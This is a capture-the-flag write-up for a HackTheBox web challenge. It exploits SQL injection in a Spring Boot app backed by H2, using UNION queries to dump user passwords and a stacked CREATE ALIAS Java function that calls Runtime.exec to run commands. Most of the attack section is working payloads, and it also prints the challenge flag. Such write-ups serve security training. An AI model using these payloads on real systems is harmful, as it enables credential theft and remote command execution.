pwneglyph logo
web web-server java spring-boot sqli union-based-sqli h2-database create-alias java-udf stacked-queries rce

The /note search concatenates the name into a native query (filtering only '$' and 'concat'). It's an H2 database, so beyond UNION SELECT you can stack 'CREATE ALIAS ... AS '<java>'' to define a Java UDF wrapping Runtime.exec, then UNION SELECT that function to run commands and read the randomly-named flag.

Pentest Notes — H2 SQL injection → CREATE ALIAS UDF RCE

Platform: HackTheBox · Category: Web (server-side) · Stack: Spring Boot + H2 database

Challenge overview

The note-search endpoint builds a native SQL query by string-formatting the name parameter, with only a token blacklist:

if (name.contains("$") || name.toLowerCase().contains("concat"))
    return ResponseEntity.status(403).body("Bad character in name :)");
String query = String.format("Select * from notes where name ='%s' ", name);
entityManager.createNativeQuery(query).getResultList();

Classic injection. ORDER BY shows 3 columns, and information_schema.tables confirms data exfil works:

/api/note?name=SQL Injection' UNION SELECT NULL,NULL,NULL-- -
/api/note?name=SQL Injection' UNION SELECT id,username,password FROM users-- -

There's no hidden user/flag in the DB though — the flag is a randomly-named file on disk. The backend is H2, which famously allows defining Java functions from SQL.

RCE via CREATE ALIAS

H2 lets you register a Java method as a SQL function with CREATE ALIAS. Stack a statement that defines a UDF wrapping Runtime.getRuntime().exec:

SQL Injection'; CREATE ALIAS IF NOT EXISTS PWN AS
'String p(String cmd) throws Exception {
   Process p = java.lang.Runtime.getRuntime().exec(cmd);
   java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");
   return s.hasNext() ? s.next() : "";
}'; --

(Send it URL-encoded / via Burp; note the \\A delimiter slurps all stdout.) Then call the alias through the UNION so its output lands in a visible column:

SQL Injection' UNION ALL SELECT 1, 'x', PWN('id') -- -
SQL Injection' UNION ALL SELECT 1, 'x', PWN('cat ../JN8fe3XRqTYK_flag.txt') -- -

Flag: HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}

Takeaways (generalized techniques)

  • H2 SQLi escalates straight to RCE via CREATE ALIAS (Java source UDF) or CREATE TRIGGER — you don't need the DB to contain the flag, you make the DB run Runtime.exec. Same idea as Postgres COPY ... PROGRAM or MySQL INTO OUTFILE + UDF, but H2 ships a pure-Java code path.
  • Token blacklists ($, concat) are not sanitization. They don't stop UNION, stacked statements (;), or CREATE ALIAS; build the Java UDF using only java.lang.Runtime and java.util.Scanner so banned substrings never appear.
  • String.format into a native query = injection regardless of the ORM around it — createNativeQuery runs exactly the string you give it.

Sources & references